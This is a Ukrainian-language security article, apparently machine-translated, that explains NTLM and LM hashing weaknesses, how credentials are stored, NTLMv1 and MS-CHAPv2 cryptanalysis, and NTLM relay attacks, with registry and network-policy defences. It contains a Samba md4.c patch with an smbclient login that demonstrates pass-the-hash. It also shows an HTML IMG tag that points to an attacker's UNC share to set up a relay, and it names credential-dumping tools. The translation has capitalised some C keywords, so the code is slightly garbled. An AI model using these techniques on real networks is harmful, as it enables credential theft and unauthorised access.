1. Вступ
2. Кому потрібен зламаний ключ?
3. Де що зберігається
4. Висновок

Те, що в останні роки проблеми безпеки протоколу NTLM обговорюються рідше, ніж раніше, виходять нові версії Microsoft Windows і впроваджуються нові протоколи аутентифікації, не означає що проблеми зникли. Ця стаття - спроба зібрати в одному місці інформацію про різні недоліки NTLM, можливі атаки і про те, як слід враховувати архітектуру NTLM при проектуванні і адмініструванні корпоративних мереж.

Призи для переможців конкурсу надав комп'ютерний інтернет магазин
Автор: ЗАРАЗА

Вступ

Коли, півтора десятка років тому, компанія Microsoft почала серйозну роботу над створенням централізованих мереж масштабів підприємства при роботі над операційною системою Windows NT, перед розробниками була поставлена ​​дуже складна, і нова на той час завдання - реалізувати технології single sign-on, і One user - one password.

One user - one password (один користувач - один пароль) означає, що у користувача повинен бути тільки один пароль. Єдиний пароль використовується для доступу до всіх ресурсів і протоколам мережі. Single sign-on (єдиний вхід) має на увазі, що цей пароль вказується всього один раз - при вході користувача в мережу.

Можна багато сперечатися про переваги і недоліки такого підходу, але безперечно одне - цей підхід зручний як для користувачів, так і для розробників додатків. Користувач позбавлений необхідності пам'ятати багато паролів і вводити їх, а розробнику не треба замислюватися над тим, як організувати аутентифікацію користувача.

Для цього необхідно було розробити таку схему аутентифікації, яка дозволила б будь-якого мережевого додатком передавати дані аутентифікації незалежно від мережевого протоколу. Так народився NTLM і NTLMSSP (NTLM Security Service Provider) - підсистема дозволяє будь-якому клієнт-серверному додатку використовувати NTLM нічого не знаючи про його внутрішню структуру.

Не можна сказати, щоб Microsoft проігнорував вимоги безпеки для протоколу аутентифікації. В общем-то, на той момент протокол NTLM ні слабкіше багатьох вже використовувалися протоколів, і в чомусь навіть краще. Але зараз можна з упевненістю сказати, що разом з протоколом NTLM з'явилася велика кількість проблем пов'язаних з його безпекою. Частина проблем викликана тим, що Microsoft мав зберегти сумісність з існуючими мережами LanManager для MS-DOS і Windows for Workgroups. Інші є помилками дизайну і пояснюються новизною розв'язуваної проблеми. Треті є виключно криптографічними, тому що тоді виробники ПЗ рідко мали в штаті професійних криптоаналітиків.

Проблеми протоколу NTLM широко дискутувалися починаючи з 1995 року і обговорюються досі. Існує помилкова думка, що протокол аутентифікації Kerberos v5, який використовується в мережах Windows 2000 і Windows 2003, повністю знімає проблему NTLM. Це не так, тому що підтримка NTLM в існуючих мережах Windows є обов'язковою і будь-яка зі сторін, які беруть участь в процесі аутентифікації, може ініціювати використання цього протоколу. З цієї причини багато проблем протоколу NTLM залишаються актуальними в сучасних мережах Windows і повинні враховуватися не тільки в процесі адміністрування мережі, але і на етапі її проектування.

Я спробував зібрати в одному місці інформацію, думки, ідеї та проблеми, які народилися в результаті майже десятирічної дискусії в відкритих списках розсилки, а так само особистої переписки з багатьма людьми, яким мені хотілося б висловити вдячність за їхню допомогу, відповіді на питання і терпіння - urity (urity at securityfriday.com), Jesper Johansson (jesperjo at microsoft.com), Solar Designer (solar at openwall.com), offtopic (offtopic at mail.ru) Glenn Zorn (gzorn at cisco.com) і багатьом іншим. Так само використовувалися матеріали з постінгом Todd Sabin, Luke Kenneth Casson Leighton і Salman Niksefat. Через природної ліні і відсутності точних назв і постійних URL для більшості використаних постінгом я не буду робити список літератури в кінці статей, нехай це зробить Google.

Ми не будемо заглиблюватися в технічні деталі більш, ніж це необхідно для розуміння проблеми, проте, іноді від читача потрібні деякі мінімальні уявлення про процеси аутентифікації і авторизації, програмуванні і криптографії. Щоб полегшити життя читачеві, в статті будуть зустрічатися вставки «загальноосвітнього» характеру.

Процес аутентифікації клієнт-серверних додатків в мережах Microsoft

Що відбувається після натискання на Ctrl + Alt + Del? Система повідомить локальної підсистеми безпеки (Local Security Authority, LSA) на введення імені користувача і пароля. Після введення пароль хешіруется (криптографічний хеш - одностороннє перетворення робить неможливим, або принаймні складним відновлення по ньому оригінального пароля) і хеш поміщається в сховище LSA. У відкритому вигляді він більше вже ніде не фігурує (в старих версіях Windows пароль міг зберігатися у відкритому вигляді або з оборотним шифруванням, тому що старі версії LanManager використовували аутентифікацію у відкритому тексті, але не будемо згадувати ці часи). Крім того, до сховища LSA можна звернутися безпосередньо стандартними методами. У сховищі хеші знаходяться до закінчення сеансу роботи (а іноді і після, це буде розглянуто далі).

Протокол NTLM відноситься до сімейства challenge-response (запит-відповідь) протоколів. Це означає, що ні пароль ні його хеш ніколи не передаються «як є», замість цього вони використовуються для генерації відповіді (response) на випадковий запит (challenge). Аутентифицирующей сторона порівнює отриману відповідь з обчисленим локально. Генерація та перевірка запиту і відповіді здійснюється не додатками, а провайдером NTLMSSP. Дані аутентифікації, що генеруються NTLMSSP через спеціальні функції API (InitializeSecurityContext () / AcceptSecurityContext ()) можуть бути включені в будь-який протокол прикладного рівня, упаковка цих даних (званих security blob - «начинка безпеки») це все, що потрібно від додатків з точки зору NTLMSSP. Після успішної перевірки підсистема безпеки генерує токен, який може бути використаний серверним додатком з правами локальної системи для імперсонірованія користувача, тобто при підключенні користувача до серверного додатком серверний додаток може працювати від його імені. У такому випадку користувач здійснює вхід на віддалену систему. Виникає питання - а чи може серверний додаток звернутися до інших мережевих ресурсів з використанням NTLM, не запрошуючи додаткової аутентифікації? Якщо в сховище LSA віддаленого комп'ютера немає хеш пароля користувача - то це неможливо. Звідси, наприклад, неможливість «прозорого» доступу до мережного диска з telnet-сеансу або через Web-сервер якщо доступ через telnet або до Web відбувається з NTLM аутентифікацією.

Теоретично все виходить чудово і абсолютно безпечно. Навіть запустивши додаток з правами користувача, все одно не можливо отримати його пароль або навіть хеш. І навіть перехопивши сеанс і підмінивши сервер, не вийде отримати доступ до інших мережевих ресурсів.

Давайте подивимося на все це з точки зору реалізації.

хеши NTLM

У сімействі протоколів NTLM (як ми побачимо далі, NTLM-подібних протоколів кілька) можуть використовуватися 2 типу хеш: LM (LanManager) хеш, успадкований від попередніх реалізацій LanManager і NT (New Technology) хеш, створений для протоколу NTLM. Відповідно, при вході користувача в систему, як правило, від пароля беруться і зберігаються обидва цих хеша. Перша версія протоколу NTLM для сумісності підтримувала обидва ключа (NT або LM ключем зазвичай називають відповідний хеш пароля). У більш пізніх реалізаціях використовується тільки NT ключ, проте по-замовчуванню LM хеш все одно створюється при вході і поміщається в сховище LSA. Давайте розглянемо обидва алгоритму хешування.

LM ключ виходить з пароля в 8-бітної OEM кодуванні (cp866 для Росії) за допомогою алгоритму DES.

Для довідки: DES є симетричним блоковим шифром, що використовують 56 бітний ключ для шифрування 64 бітного блоку тексту. Реально, всередині алгоритму використовується 64 бітний ключ, проте довжина ключа штучно занижена з незрозумілих міркувань - 56 бітний ключ «розтягується» за рахунок вставки додаткового біта через кожні 7 біт ключа. Оскільки DES має відносну стійкість до атак відомого відкритого тексту, він може бути використаний в якості криптографічного хеш функції, якщо в якості відкритого тексту використанні будь-якої відомий текст, а в якості ключа - хешіруемое слово. Відомий текст може бути або випадковим (в такому випадку він називається salt - сіль, і зберігається в місці з паролем), або визначеним, в такому випадку він називається Magic Word - заклинання. У класичній реалізації crypt () в Unix використовувався перший підхід, в Windows використовується магічне слово KGS! @ # $% (Подивіться на клавіатуру .... Напевно, це був чийсь пароль). При використанні в якості хеш функції DES генерує 64 бітний хеш по 56 битному тексту.

Оскільки DES дозволяє отримати хеш лише від 7-символьного блоку, то реально використовується пароль з 14 символів (більш короткий пароль доповнюється нулями), який розбивається на два блоки по 7 символів, від кожного з яких незалежно обчислюється хеш. У підсумку виходить 128-бітний хеш «склеєний» з двох частин.

Недоліки алгоритму очевидні. Незалежне обчислення двох блоків дозволяє і їх незалежний злом, тобто реально кожен 64 біта хеша можна атакувати з метою відновлення пароля. Причому для генерації LM ключа пароль не чутливий до регістру символів і символи завжди використовуються в верхньому реєстрі. Це робить дуже ефективною атаку на відновлення пароля методом послідовного перебору (не більше 7 символів з дуже обмеженого алфавіту). Причому довгий пароль може бути легше відновити ніж коротший. Наприклад, для пароля з 12 символів, спочатку за лічені секунди підбираються останні 5 символів, після чого робиться припущення про структуру пароля і перші 7 символів пароля підбираються по більш обмеженому алфавітом. В даний час відомі дуже швидкі реалізації DES з використанням 64-бітної арифметики, що робить його абсолютно непридатним для криптографії. У загальному випадку, відновлення пароля по LM хешу на сучасній техніці питання не більше ніж декількох днів. Крім того, фіксований магічне слово дозволяє використання таблиці заздалегідь обрахованих значень ключів, що робить можливим відновлення пароля по LM хешу в реальному часі.

NT ключ обчислюється за допомогою стандартного алгоритму хешування MD4. Хеш MD4 береться від пароля записаного в 16-бітної кодуванні Unicode з послідовністю байт low endian (тобто першим байтом йде номер символу в сторінці). Пароль обчислюється з урахуванням регістру. MD4 має кілька криптографічних проблем, найбільшою з них є маленьке час обчислення хеша, що дозволяє перебирати досить велика кількість комбінацій в одиницю часу спрощуючи, наприклад, атаку по словнику або підбір слабкою комбінації символів.

Підказка: існує велика кількість програм для відновлення пароля з NT або LM ключа шляхом підбору за словником або перебору - John- the- Ripper, LophtCrack, Cain & Abel. При наявності обох ключів, зазвичай спочатку відновлюється пароль у верхньому регістрі з LM-ключа, потім по NT-ключу відновлюється регістр пароля. Такий підхід, зокрема, реалізований в Cain & Abel (http: // www. Oxid. It), що є на сьогодні найбільш потужним і універсальним інструментом для виконання різних завдань пов'язаних з виявленням слабких конфігурацій, в т.ч. і багатьох проблем NTLM. Ми ще неодноразово будемо повертатися до можливостей цієї утиліти. Найшвидша реалізація алгоритму DES орієнтована на злом LM-ключів в Solar Designer'овском John- the- Ripper.

Порада: Можна заборонити генерацію LM-ключів в системі шляхом установки в 1 значення NoLmHash в розділі реєстру HKEY_ LOCAL_ MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Lsa

Незважаючи на те, що буде описано нижче, зробити це настійно рекомендується, хоча б для очищення совісті.

Кому потрібен зламаний ключ?

Як ми вже говорили, NT і LM ключі (хеші) генеруються з пароля при вході користувача в систему, після чого пароль ніде не зберігається і ніколи не використовується. Виникає закономірне питання: якщо у нас є на руках NT і LM хеші чи можемо ми використовувати їх, наприклад, для аутентифікації по мережі без відновлення пароля у відкритому тексті? Очевидно, так. Почнемо з простого випадку відкритих кодів. Спробуємо модифікувати smbclient зі складу SAMBA таким чином, щоб підключатися до віддаленого файлового сервера з ісопльзованіем NT хеша (як ми знаємо, з NT хеша відновити пароль набагато складніше). Було б досить складно перелопатити півтора десятка мегабайт початкових кодів SAMBA, якби ми не знали точно, що NT ключ це MD4 хеш. Нам буде достатньо тільки модифікувати бібліотеку md4.c таким чином, щоб не хешірованного щось, що вже схоже на хеш. Наприклад те, що складається з 32х 16-ковий символів (як ми пам'ятаємо, ключ 128-бітний, а пароль приходить в кодуванні Unicode, тобто кожен, хто входить символ займає 2 байта, виходить 64 байта на вході і 16 на виході).

--- md4.c.orig 2004-04-04 11: 37: 00.000000000 +0400

+++ md4.c 2004-10-27 23: 01: 31.000000000 +0400

@@ -130,6 +130,21 @@

C = 0x98badcfe;

D = 0x10325476;

+

+ If (n == 64) {

+ Int j;

+ Unsigned char * hexd = (unsigned char *) "0123456789ABCDEF";

+ For (j = 0; j <16; j ++) {

+ If (! Strchr (hexd, in [(j << 2)])) break;

+ If (in [(j << 2) +1]) break;

+ If (! Strchr (hexd, in [(j << 2) +2])) break;

+ If (in [(j << 2) +3]) break;

+ Out [j] = ((strchr (hexd, in [(j << 2)]) - (char *) hexd) << 4);

+ Out [j] ^ = (strchr (hexd, in [(j << 2) +2]) - (char *) hexd);

+}

+ If (j == 16) return;

+}

+

while (n> 64) {

copy64 (M, in);

mdfour64 (M);

перевіримо:

bash $ smbclient // WIN2KSRV / shared

added interface ip = 192.168.1.1 bcast = 192.168.1.255 nmask = 255.255.255.0

Got a positive name query response from 192.168.1.2 (192.168.1.2)

Password: (entering 8846F7EAEE8FB117AD06BDD830B7586C)

Domain = [WIN2KDOMAIN] OS = [Windows 5.0] Server = [Windows 2000 LAN Manager]

smb: \>

Вийшло.

Напевно, у найшкідливіших виникає питання, чи можна виконати подібний трюк використовуючи сам Windows в якості клієнта? Можна спробувати знайти реалізацію MD4 використовувану для отримання хеша при вході користувача і підмінити її (модифікацією двійкового коду або за рахунок підміни функції одним з численних способів). Швидкий пошук по системних файлів показує, що в папці SYSTEM32 близько 85 реалізацій MD4 (мабуть програмістам платять за обсягом двійкового коду), є і особливо підозрілі, наприклад в samlib.dll. Робилися і спроби поміняти ключі безпосередньо в пам'яті або сховище, наприклад в статті Hernan Ochoa "Modifying Windows NT Logon Credentials" ... Але, власне, стаття наша теоретична і одного експерименту для підтвердження теорії цілком вистачає. Урок, який повинен бути витягнутий - хеш пароля з точки зору протоколу NTLM абсолютно рівнозначний самому паролю, можливість отримання хеша означає можливість повного використання пароля.

Де що зберігається

Не слід плутати сховище LSA з захищеним сховищем (Protected Storage) і бaзой даних SAM (Security Account Manager database).

У Protected Storage можуть зберігатися будь-які дані, вміщені туди додатком (імена і паролі віддаленого доступу, електронної пошти, аутентифікації сайтів і дані для автозаповнення форм). Вони можуть бути вилучені звідти в тому ж вигляді, в якому були туди покладено коли програма потребуватиме через стандартний API. Хеш паролів користувача там немає.

У базі даних SAM зберігаються локальні облікові записи користувачів (на контролері домену - доменні), включаючи паролі у вигляді NT і LM хеш, що вже кілька цікавіше. Локальна база даних SAM є кущем системного реєстру (тобто частиною реєстру зберігається в окремому файлі). Раніше, якщо на машині не використовувалася утиліта syskey, можна було витягти хеші локальних паролів облікових записів безпосередньо з файлу або з реєстру. Для вилучення хеш з файлу можна було використовувати утиліту samdump Дмитра Андріанова, для вилучення з реєстру - pwdump (Jeremy Allison). Однак, утиліта syskey шифрує зберігаються хеші за допомогою системного ключа використовуючи алгоритм RC4. Ключ може зберігатися на дискеті, яку необхідно вставляти при завантаженні машини, або на диску - закритий перелом (його необхідно вводити при кожному завантаженні машини) або в якійсь оборотної формі. Управляти зберіганням системного ключа можна за допомогою утиліти syskey. Починаючи з Windows 2000 syskey c зберіганням ключа в оборотної формі включений за замовчуванням, що перешкоджає вилучення хеш з SAM стандартним способом. Те, що буде вилучено, насправді не є хешем пароля. Pwdump2 (Todd Sabin) обходить захист syskey зчитуючи хеші паролів через внутрішній API в контексті процесу winlogon використовуючи техніку DLL injection. Pwdump3 (Phil Staubs) використовує ту ж саму техніку в поєднанні з Service API для того, щоб запустити процес на віддаленому комп'ютері. Для роботи всіх програм потрібно або фізичний доступ до комп'ютера або підвищені привілеї (для pwdump2 і pwdump3 - SeDebugPrivilege).

Схожі прийоми використовувалися і для доступу до сховища LSA. Lsadump (PaulAshton) використовувала недокументований API LsaRetrievePrivateData () для отримання даних зі сховища LSA і могла працювати тільки з-під облікового запису локальної системи. У більш пізніх системах Microsoft зробив використання цієї функції зовсім неможливим. Lsadump2 (Todd Sabin) використовує ту ж техніку DLL injection, що і pwdump2 для доступу до секретів LSA через внутрішній API lsass і так само вимагає SeDebugPrivilege.

Напевно, слід так само згадати про cached logon credentials (кешованих посвідченнях). За замовчуванням Windows зберігає дані про останні 10 набраних іменах користувачів і паролів. Основна мета - дати можливість доменному користувачеві увійти на комп'ютер навіть в разі відсутності зв'язку з контролером домену. Оскільки немає необхідності зберігати безпосередньо хеш пароля (він буде обчислений при вході користувача в систему), зберігається якесь похідне значення (MD4 від імені користувача та NT-хеша). Тобто відновити хеш пароля складно, але можна спробувати атакувати слабкі паролі користувача. CachedLogonCredentials так само зберігаються або в сховище LSA або в розділі реєстру NL $. На жаль єдине відоме засіб автоматичного доступу до кешуватися паролем, hashpipe (Todd Sabin) на сьогодні не є загальнодоступним.

Зазначені інструменти більше не підтримуються розробниками. Вони, і інші тестували утиліти, включаючи Cain & Abel, так само не дають надійного результату в Windows XP SP2, тому що Microsoft змінив алгоритм роботи winlogon і lsass, однак, для Cain & Abel це, швидше за все, лише питання часу.

Порада: управляти Cached Logon Credentials можна за допомогою доменних політик або за допомогою ключа реєстру CachedLogonCount в розділі HKEY_ LOCAL_ MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon

Дуже неприємно, якщо, наприклад, в кешованих посвідченнях залишаться відомості про вхід на комп'ютер адміністратора домену (це одна з причин управляти комп'ютером віддалено). Часто можна зустріти рекомендацію встановлювати CachedLogonCount в 0, однак найбільш оптимальним представляється значення 1 - це дозволяє без мережевого підключення увійти в систему останньому користувачеві - тобто тому, який зазвичай працює з комп'ютером.

власне NTLM

На сьогоднішній момент існує дві основні версії NTLM. Перша версія NT LanManager 0.12, часто звана NTLM v1 і NTLM v2. Крім того, існує кілька заснованих на NTLM діалектів, наприклад протокол аутентифікації MS-CHAPv2 (MS-CHAP є NTLM 0.12 в чистому вигляді). Ми детальніше зупинимося на NTLM 0.12, тому що нас будуть цікавити його, так часто обговорювані, криптографічні уразливості.

Отже, NTLMSSP генерує «шматочки» даних безпеки (security blob) якими обмінюються клієнтське і серверне додаток. Обмін відбувається в кілька етапів, і для NTLM 0.12 виглядає наступним чином:

1. Клієнт посилає серверу запит на аутентифікацію.
2. Сервер відповідає пакетом, в якому вказується обрана NTLM аутентифікація і поле EncryptionKey якого містить 64-розрядний випадковий запит (challenge).
3. Клієнт посилає повідомлення, що містить поля AccountName (обліковий запис), PrimaryDomain (домен облікового запису), CaseInsensitivePassword (пароль не чутливі до регістру, фактично це LM-відповідь) і CaseSensitivePassword (пароль чутливий до реєстру, фактично NT-відповідь). Обидва відповіді є 192-бітними і обчислюються на основі NT і LM ключа по одному і тому ж алгоритму. Якщо відповідного ключа немає, то і відповідна відповідь буде нульовим.

Давайте проілюструємо алгоритм генерації відповіді на прикладі NT-ключа 8846F7EAEE8FB117AD06BDD830B7586C (як ми пам'ятаємо, він 128-бітний) з 64-бітовим запитом сервера 0123456789ABCDEF.

NT-відповідь DD5428B01E86F4DFCABEAC394946DBD43EE88F794DD63255.

Відразу повинно кидатися в очі, що не так з цим алгоритмом - проблема та ж, що і при обчисленні LM-хеша, все три DES-блоку обчислюються незалежно. Це означає, що і відновлюватися за відомим запитом і відповіді вони так само можуть незалежно. Для сучасного PC час відновлення одного блоку хеша пароля методом повного перебору складає порядку декількох тижнів і не залежить від складності пароля.

У разі, якщо є LM-відповідь - знову ж можлива атака на відновлення другої половини пароля у відкритому тексті, після чого перша частина навіть повним перебором відновлюється за кілька днів.

З цього, в поєднанні з тим, що маючи хеш ми не потребуємо в паролі у відкритому тексті, можна зробити однозначний висновок - NTLM 0.12 і MS-CHAP не повинні використовуватися для аутентифікації в мережах, де може бути перехоплення трафіку. Крім того, якщо у зовнішнього недовірених сервера є можливо ініціювати «прозорий» вхід користувача, то він може використовувати переданий відповідь для відновлення ключа користувача. Причому, за рахунок вибору «хорошого» запиту (наприклад одні нулі) злом ключа може бути організований в реальному часі за заздалегідь прорахованих таблицями.

Протокол аутентифікації віддаленого доступу MS-CHAPv2 є всього лише розширенням протоколу MS-CHAP і, відповідно, NTLM 0.12. Зміни полягають у наступному: клієнт так само генерує випадковий запит для сервера, на який сервер повинен відповісти, тобто аутентифікація клієнта і сервера є взаємною. Крім того, запит сервера потрапляє в алгоритм генерації відповіді в зміненому вигляді (сам алгоритм залишається тим самим) - береться SHA1 від запиту сервера, запиту клієнта і імені користувача. Це не впливає на складність атаки на відновлення хеша тому SHA1 досить обчислити лише один раз, а далі використовується той же алгоритм перебору. Єдиним позитивним моментом з точки зору криптографії, є те, що в разі підміни сервера не можна використовувати заздалегідь прораховані таблиці для відновлення хеша шляхом вибору заздалегідь відомого запиту.

З цього випливає, що MS-CHAPv2, який часто використовується для аутентифікації, наприклад, PPTP з'єднань, так само ні в якому разі не повинен використовуватися для аутентифікації по недовірених каналах зв'язку. На сьогодні, єдиний більш-менш стійкий протокол парольної аутентифікації віддаленого доступу це PEAP (Password EAP), який, на жаль, слабо підтримується, що робить практично неможливим використовувати, наприклад, PPTP тунелі з шифруванням MPPE, навіть з ключем шифрування великої довжини, для побудови VPN мереж, тому що ключі шифрування MPPE генеруються на основі NT-ключа. Можливість відновлення NT ключа за даними аутентифікації дає, до того ж, можливість відновити дані, що передаються за вельми короткий термін незалежно від довжини сеансового ключа.

У NTLMv2 так само використовується взаємна аутентифікація клієнта і сервера, але для отримання відповіді використовується набагато сильніший алгоритм HMAC-MD5.

Для довідки: HMAC- MD5 генерує хеш на основі тексту (text) і ключа (key) з використанням стандартного хеша MD5 за наступним алгоритмом:

HMAC_MD5 (text, key) = MD5 (key xor opad. MD5 (key XOR ipad.text))

Де '.' Чи означає конкатенацію, ipad = 0x36363636363636363636363636363636, ipad = 0x5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C5C

Відповідь обчислюється таким чином:

1. Клієнт генерує ключ (NT2 ключ) використовуючи HMAC_MD5 з NT-ключем як ключ і ім'ям користувача конкатенірованним з ім'ям домена в Unicode в якості тексту.
2. Клієнт генерує шматок даних (blob), в який входять випадкові дані, тимчасова мітка, NetBIOS ім'я і т.д, всього близько 64 байт, довжина може варіюватися.
3. blob конкатенуються з відповіддю сервера
4. Обчислюється HMAC-MD5 c NT2 ключем отриманому на першому кроці в якості ключа і blob як текст.
5. результат (4) конкатенуються з blob (2). Те, що вийшло і є відповідь.

Такий алгоритм генерації відповіді при використанні стійких паролів знімає практично всі криптографічні проблеми, що робить NTLMv2 цілком стійким до атак пасивного прослуховування, проте, зрозуміло, залишається можливість підбору слабких паролів по словнику або повним перебором.

Підказка: У Cain & Abel реалізовані практично всі розглянуті атаки. Крім того, вбудований сніфер з можливістю arp poisoning дозволяє перехоплювати дані NTLM аутентифікації навіть в комутованих мережах і автоматично передавати всі необхідні дані в підсистему кріптографіеского аналізу для різного типу криптографічних атак.

Порада: Ви можете керувати дозволеними протоколами аутентифікації і заборонити протоколи аутентифікації відмінні від NTLMv2 за допомогою реєстру або доменних політик. За це відповідає ключ реєстру LMCompatibilityLevel в розділі HKLM \ System \ CurrentControlSet \ Control \ LSA. Можливі значення слудющіе:

1. Посилати NT і LM відповіді
2. безпеку сеансу NTLM (не впливає на аутентифікацію)
3. NTLM аутентифікація. LM відповідь не генерується клієнтом. На сервер не впливає.
4. NTLMv2 аутентифікація, клієнт не використовує NTLM 0.12
5. NTLM потрібно, сервер не приймає LM відповідь
6. NTLMv2 потрібно, сервер не приймає NTLM 0.12 аутентифікацію.

Як випливає з назви, установка високого LMCompatibilityLevel може вплинути на клієнтів зі старими ОС.

Атаки NTLM-релеінга

Протокол NTLM був спеціально розроблений для того, щоб забезпечити прозорий доступ користувачів до ресурсів без зайвих питань і при цьому не залежати від прикладних і мережевих протоколів. Клієнтську програму, що підтримує NTLM, просто передає генеруються підсистемою безпеки дані аутентифікації (БЛОБ) серверному додатку. При цьому немає ніякої прив'язки даних аутентифікації до мережевого протоколу, тобто такими параметрами, як, наприклад, IP адреса і порт. Це дозволяє NTLM-аутентифікації проходити через проксі сервер або маршрутизатор з трансляцією адрес, але це, також, дозволяє і атаки NTLM релеінга, коли атакуючий, який не має прямого доступу до мережевих даними між клієнтом і сервером може, однак, перехоплювати всі передані дані. Єдина необхідна для цього умови (крім зв'язку з клієнтом і сервером на мережевому рівні, зрозуміло) це можливість ініціювати підключення клієнта по протоколу підтримує прозору NTLM-аутентифікацію. Таким чином не маючи безпосереднього доступу до каналу зв'язку, можна організувати ситуацію людини-по-середині (man-in-the-middle).

Отже: атакуючий провокує клієнта на підключення до себе по протоколу, що дозволяє NTLM аутентифікацію. Після чого атакуючий підключається до сервера так само з будь-якого протоколу дозволяє NTLM аутентифікацію. Це не обов'язково повинен бути той же протокол, який використовує клієнт, тому що дані аутентифікації ніяк не прив'язані до прикладного протоколу і мережевим параметрам. Наприклад, клієнт може підключитися до атакуючого з використанням файлового протоколу CIFS (SMB), а атакуючий до сервера - по протоколу telnet. Після чого дані аутентифікації (БЛОБ) передаються атакуючим між клієнтом і сервером. Після закінчення аутентифікації клієнт вважає, що він успішно авторизований сервером, сервер вважає, що він авторизував клієнта, а атакуючий має два авторизованих каналу - він виступає від імені сервера для клієнта і від імені клієнта для сервера.

Чи рятує, хоча б в якійсь мірі, використання NTLMv2 від атак NTLM-релеінга? На жаль немає. Оскільки атакуючий не застосовує криптоаналіз, то криптостойкость алгоритму впливу не робить. Не впливає і наявність взаємної аутентифікації клієнта і сервера. Атакуючий прокидає всі дані аутентифікації між ними, тому зайвий пакет - відповідь сервера на запит клієнта - туди так само потрапляє.

Для деяких протоколів Microsoft радять застосовувати підпис пакетів, наприклад, SMB signing для CIFS / SMB. На жаль, підпис SMB рятує лише в єдиній ситуації - вона ускладнює підключення до сервера CIFS вимагає підпис. Це робить неможливим використання межпротокольного релеінга NTLM для підключення до сервера CIFS. У разі релеінга від CIFS клієнта до CIFS сервера у атакуючого залишається доступ до всіх проходять даними. Клієнт і сервер підписують дані, але знову ця підпис не прив'язана до мережевого протоколу, атакуючий просто пересилає дані в незмінному вигляді. Це не дає атакуючому можливість втрутитися в передані дані (наприклад, запросити свій файл безпосередньо у сервера), проте, якщо атакуючий отримав можливість керувати поведінкою клієнта - він може змусити клієнта запросити необхідний файл.

На поточний момент існує багато способів управляти поведінкою клієнтського додатку. Наприклад, направивши користувача на HTML сторінку, яка містить так <IMG SRC = "\\ ABCD \ SECRETSHARE \ largesecret.doc">, де ABCD - адреса атакуючого, можна змусити клієнта підключитися до мережевої папці SECRETSHARE атакуючого по протоколу CIFS і запросити файл largesecret. doc. Атакуючий може перенаправити цей запит на сервер від імені клієнта. При цьому всі запити будуть підписані клієнтам в разі використання SMB signing.

Атаки NTLM релеінга обговорювалися різними авторами. DilDog в 2000м році, в зв'язку з проблемою NTLM авторизації в telnet (Internet Explorer на той час вже мав опцію не виконувати прозору NTLM-авторизацію в Internet-зоні). 3APA3A в 2001 у зв'язку з SPA авторизацією Outlook Express. Salman Niksefat і Haamed Gheibi в 2003м продемонстрували практичну реалізацію NTLM релеінга з CIFS в CIFS для випадку, коли клієнт і сервер це одна і та ж машина.

Як захищатися від атак NTLM

Основний засіб від різних атак перехоплення - це, зрозуміло, шифрування трафіку між хостами. Можна знайти достатню кількість посібників з впровадження шифрування трафіку за допомогою політик безпеки IP.

Щоб запобігти атакам NTLM релеінга за допомогою протоколу CIFS, слід обмежити використання цього протоколу. По-перше підключення по протоколам NetBIOS (TCP / 139) і CIFS over TCP (TCP / 445) не повинні пропускатися не тільки з зовнішньої мережі до будинку, але і з внутрішньої мережі назовні. З багатьох причин, включаючи і цю, доступ до ресурсів Internet для користувачів слід організовувати не за допомогою трансляції адрес, а за допомогою проксі-сервера. Атака NTLM релеінга за допомогою CIFS може бути використана і у внутрішній мережі, з метою підвищення привілеїв. Щоб цього не допустити, слід обмежити зв'язок на мережевому рівні між клієнтськими комп'ютерами. В ідеальному випадку у клієнтів повинна бути зв'язок тільки з тими серверами, до яких вони повинні підключатися. У мережах Windows 2000 / XP / 2003 така структура мережі легко реалізується за рахунок застосування доменних політик безпеки IP.

Для цього створюється правило, що дозволяє блокувати пакети:

Створюється опис серверної мережі

Створюється політика роздільна серверний трафік і забороняє весь інший:

Тепер це правило можна застосувати до локального комп'ютера або до всіх клієнтських комп'ютерів за допомогою політик Active Directory.

Усунувши можливості NTLM атак в CIFS, ми не усунемо атаки повністю. Існує велика кількість протоколів підтримують NTLM аутентифікацію, а розвиток різних сервісів, в т.ч. і RPC, поверх HTML робить фільтрацію NTLM-аутентифікації назовні ще більш складною.

Підказка: як рішення можна порадити не дозволяти доступ до сервісів, доступним зовні з обліковими записами використовуваними у внутрішній мережі. Для зовнішніх ресурсів краще використовувати авторизацію на основі сертифікатів, у внутрішній мережі - двухфакторную авторизацію.

Висновок

Я сподіваюся, що стаття допоможе вам врахувати особливості протоколу NTLM при побудові архітектури та схеми захисту вашої мережі або просто зрозуміти, що він із себе представляє. C задоволенням прийму будь-які поправки, доповнення і просто коментарі на адресу [email protected] .